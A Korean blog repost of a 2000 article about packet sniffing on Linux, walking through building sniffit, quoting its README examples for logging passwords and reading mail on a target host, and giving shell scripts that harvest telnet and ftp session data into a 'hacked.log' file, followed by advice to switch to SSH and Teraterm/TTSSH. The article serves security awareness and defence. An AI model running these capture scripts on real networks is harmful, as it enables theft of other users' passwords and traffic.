Contents

System/OS
2003.04.23 10:34

[linux] 패킷 스니퍼링

조회 수 15881 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
[ Packet Sniffering ]

자료 출처 :   http://www.javaservice.net/

제목 : Packet Sniffering 
글쓴이: 이원영(javaservice)   2000/03/26 20:50:00  조회수:1599  줄수:203
  

Packet Sniffering

Packet Sniffering은 해커들 중에서도 아주 천시받는 초보적인
방법입니다. 그러나 아직까지 시스템관리자들이 보안에 관하여
무지한 탓인지 별 조치를 취하지 않고 있네요.

Packet Sniffering은 아무곳에서나 되는 것은 아닙니다.
물리적인 같은 N/W상에서 즉, Packet Brodcasting이 일어나는 곳
에서만 가능하지요. 마치 누가 옆에서 전화를 하고 있으면,
아주 가까운 거리에 있는 사람은 그 전화내용을 들을 수 있듯이
Packet Sniffering은 N/W에 지나다니는 Packet을 줏어모아
의미있는 Data를 추출하는 것지요.

당신이 지금 사용하는 Telnet, ftp 작업은 같은 N/W상에 있는
사람은 당신의 명령과 화면 그대로를 똑같이 모니터링 할 수 있습니다.

아래를 클릭해 보세요... 스니퍼를 이용해 지나다니는 패킷을 잡은 로그파일입니다.

http://javaservice.net/hack/hacked.log.txt
(보안상 IP Address 는 xxx.xxx.xxx.xxx 로 수정하였습니다.)


이같은 방법은 인터넷상에서 쉽게 구할 수 있습니다.


1. sniffit 이 있어야 합니다.
  http://reptile.rug.ac.be/~coder/sniffit/sniffit.html

  Compile방법은 간단합니다.
  # su - root
  # tar xvfz sniffit_0_3_5_tar.gz
  # cd sniffit.0.3.5
  # ./configure
  # make

  sniffit 이라는 binary file이 생깁니다. 이를 /usr/local/bin 에 copy 하세요

2. ShellScript
  sniffit 은 많은 Option을 갖고 있습니다.
  sniffit -i -D /dev/pts/0 등과 같은 방법으로 다름사람의 화면을
  훔쳐 볼 수 있습니다. 자세한 것은 README나 man page를 참고하세요

프로그램 Readme 예제)
Some examples:
  Imagine the following setup: 2 hosts on a subnet, one is running the 
  sniffer (sniffit.com), the otherone is 66.66.66.7 (target.com).
    1. You want to test if the sniffer is working:
       sniffit:~/# sniffit -d -p 7 -t 66.66.66.7
       and in another window:
       sniffit:~/$ telnet target.com 7
       you should see the sniffer giving you packets as you telnet to 
       the 'echo' service. 
    2. I want to log some passwords from people on 66.66.66.7:
       sniffit:~/# sniffit -p 23 -t 66.66.66.7
    3. Root of target.com tells me he gets strange ftp connections and 
       wants to find out the commands typed:
       sniffit:~/# sniffit -p 21 -l 0 -t 66.66.66.7
    4. You want to read all incomming and outgoing mail on target.com:
       sniffit:~/# sniffit -p 25 -l 0 -b -t 66.66.66.7 &
       or
       sniffit:~/# sniffit -p 25 -l 0 -b -s 66.66.66.7 &
    5. You want to use the menu based interface.
       sniffit:~/# sniffit -i
    6. Something is really wrong and you want to see the Control Messages
       with error codes.
       sniffit:~/# sniffit -P icmp -b -s 66.66.66.7
    7. Go wild on scrolling the screen.
       sniffit:~/# sniffit -P ip -P icmp -P tcp -p 0 -b -a -d -x -s 
                   66.66.66.7
       witch is the same as
       sniffit:~/# sniffit -P ipicmptcp -p 0 -b -a -d -x -s 66.66.66.7
    8. Log passwords in that way you can read them with 'more 66*'
       sniffit:~/# sniffit -p 23 -A . -t 66.66.66.7
       or
       sniffit:~/# sniffit -p 23 -A ^ -t dummy.net
    9. This could go on for ever..............

  그러나 여기서는 Daemon처럼 telnet이나 ftp 연결의 첫 128 byte만 줏어모아
  log file을 만들어 보겠습니다.

  이를 위하여 아래와 같은 파일을 만드세요.

  [config]
  select to port 23
  select to port 21


  [start.sh]
  #!/bin/sh
  mkdir -p log
  cd log
  sniffit -c ../config -l 128 -A ' '

  [parser.sh]
  #!/bin/sh
  mkdir -p log
  cd log
  while true
  do
     for file in `ls -1`
     do
        text=`cat $file`
        flag=`echo $text|grep vt100`
        if [ "x$flag" != "x" ]; then
           target=`echo $file | cut -d- -f2`
           ip1=`echo $target| cut -d. -f1`
           ip2=`echo $target| cut -d. -f2`
           ip3=`echo $target| cut -d. -f3`
           ip4=`echo $target| cut -d. -f4`
           echo "$ip1.$ip2.$ip3.$ip4:$text" >> ../hacked.log
         fi
         rm -f $file
      done
      sleep 600
  done



실행권한 주기
  # chmod 755 start.sh
  # chmod 755 parser.sh



3. 실행방법
위의 파일을 만든 후 아래처럼 실행하면 현재 디렉토리에 hacked.log파일이
생깁니다.

  # ./start.sh &
  # ./parser.sh &


===========================================================================

[대안]

이러한 packet sniffering을 안 당하려면, 기존의 Telnet이나 FTP를 사용하시면
안됩니다. 이제 과감하게 절대로 사용하지 마세요
SSL Telnet 같은 모든 packet을 Encript하여 전송하는 Protocol을 사용하셔야
한다는 거지요.

많은 Secure Shell 제품이 있지만, Berkeley 에서 제공하는 SSH가 추천 드릴 만
합니다.

아래 사이트에서 구할 수 있습니다.
  http://www.csua.berkeley.edu/ssh-howto.html
  ftp://ftp.cs.hut.fi/pub/ssh/ssh-1.2.27.tar.gz

설치방법:  ./configure; make; make install

실행 방법 : 
  # su - root
  # cd /usr/local/sbin
  # ./sshd

이제 서버측에는 기존 in.telnetd 라는 표준 telnet port 23번이 아닌 Port 22 번으로
sshd 가 listening을 하게 됩니다.

PS: 매번 위처럼 ./sshd 를 실행하는 방법으로 데몬을 띄우면, 시스템을 재부팅할 때
     마다 다시 띄워야 겠죠? 이건 바람직 하지 않겠죠?
     아래에 첨부된 sshd 라는 shell program을 /etc/rc.d/init.d/ 디렉토리에 
     카피하시고,  chmod 755 sshd 한 후, 아래 명령을 이용하여, 각 run level 별로
     링크를 거세요. (아래의  sshd는 /etc/rc.d/init.d/named 를 약간 수정한 겁니다.)

     # cd /etc/rc.d/rc0.d/
     # ln -s ../init.d/sshd K20sshd
     # cd /etc/rc.d/rc1.d/
     # ln -s ../init.d/sshd K20sshd
     # cd /etc/rc.d/rc2.d/
     # ln -s ../init.d/sshd K20sshd
     # ln -s ../init.d/sshd S80sshd
     # cd /etc/rc.d/rc3.d/
     # ln -s ../init.d/sshd K20sshd
     # ln -s ../init.d/sshd S80sshd
     # cd /etc/rc.d/rc4.d/
     # ln -s ../init.d/sshd K20sshd
     # ln -s ../init.d/sshd S80sshd
     # cd /etc/rc.d/rc5.d/
     # ln -s ../init.d/sshd K20sshd
     # ln -s ../init.d/sshd S80sshd
     # cd /etc/rc.d/rc5.d/
     # ln -s ../init.d/sshd K20sshd

  또, /etc/services 파일에 아래의 두 라인이 제대로 생겨 있는지 확인하세요
  SSH를 설치할 때, 자동으로 등록되어 있을 것이나, 확인하는 것이지요

    ssh     22/tcp              # SSH Remote Login Protocol
    ssh     22/udp              # SSH Remote Login Protocol

  

반면, Windows95/NT 에서 해당 머신으로 SSL Telnet을 사용하려면, Teraterm 정도가
괜찮은 것 같습니다.

아래의 사이트에 관련 문서가 있습니다.
http://www.zip.com.au/~roca/ttssh.html

바로 다운받아 설치하려면 다음의 사이트를 이용하세요.
Teraterm 2.3
http://hp.vector.co.jp/authors/VA002416/ttermp23.zip
ftp://ftp.javaservice.net/pub/Windows95/ttermp23.zip

압축을 푸신 후 setup.exe를 실행하면,  C:Program FilesTermpro 디렉토리에 설치
됩니다. 이건 그냥 일반적인 Netterm과 같은 telnet 프로그램입니다.


추가적으로 Teraterm 에 TTSSH(An SSH Extension to Teraterm)을 깔아야만
SSL Telnet을 사용할 수 있습니다. 아래에서 받을 수 있습니다.
ftp://ftp.htp.org/pub/crypto/ssh/ttssh/ttssh151.zip
앞서 설치된 Teraterm 디렉토리에 그냥 압축을 풀어 엎어치면 됩니다.

이제 해당 디렉토리에 ttssh.exe 라는 파일이 생겨 있을 겁니다.
아이콘이 자동으로 링크가 안되니, 이를 적당한 메뉴에 단축아이콘으로 등록하셔서
사용하면 됩니다. 이 ttssh.exe를 이용하면 SSL 통신을 이용해 telnet을 사용할 수
있게 되면 실행하신 후 접속방식을 "telnet"이 아닌 "SSH"로 선택하여 접속하면
됩니다. 그러면 모든 Packet들이 Encript되어 설령 누군가가 sniffit을 이용하여
보더라도 암호처럼 되어 있겠지요.


NOTE: ssh-keygen 을 이용하여 private key/public key를 이용한 128 bit
       인증방식으로도 login할 수 있습니다. 자세한 내용은 ssh README문서를
       참고하세요.


PS: 어쨌거나, 보안을 생활화 합시다...

-------------------------------------------------------  
  본 문서는 자유롭게 배포/복사 할 수 있으나 반드시
  이 문서의 저자에 대한 언급을 삭제하시면 안됩니다
================================================
  이원영(javaservice@hanmail.net)
  236-1, Hyosung-2dong, Kyeyang-gu, Inchun,
  407-042, KOREA
  Phone:(82-32)540-5243, Fax:(82-32)540-5402
  PCS:019-310-7324
================================================


--------------------------------------------------------------------------------
sshd (789 Bytes) 


?

List of Articles
번호 분류 제목 글쓴이 날짜 조회 수
70 System/OS [dos] 노트북 백업 스크립트 xcopy 명령 예제 hooni 2003.04.23 40804
69 System/OS [sql] alter table 쿼리 예제 hooni 2003.04.23 12459
68 System/OS [sql] 내 방명록 답글 찾는 쿼리문.. (JOIN 구문) hooni 2003.04.23 12843
67 System/OS [linux] Proftpd 설치 가이드 hooni 2003.04.23 12999
66 System/OS [linux] 기존 환경설정 저장하면서 커널 컴파일.. hooni 2003.04.23 13436
65 System/OS [linux] 스케쥴링 순서(nice) 변경하기 hooni 2003.04.23 12514
64 System/OS [linux] 셀 스크립트 if, for, case in.. hooni 2003.04.23 13661
63 System/OS [linux] 종료와 종료코드 확인(환경변수에서) hooni 2003.04.23 15518
62 System/OS [linux] 프로세스 상태확인(ps) hooni 2003.04.23 12681
61 System/OS [linux] 메타(기호)문자의 의미와 사용 hooni 2003.04.23 16358
60 System/OS [linux] 특수문자 환경 설정(stty) hooni 2003.04.23 15252
59 System/OS [linux] Oracle8.1.6, Mysql+PHP+Zend Optimizer+APACHE+Tomcat(jsp,servlet)+IMAP+gd hooni 2003.04.23 32344
Board Pagination Prev 1 ... 7 8 9 10 11 12 13 14 15 16 17 Next
/ 17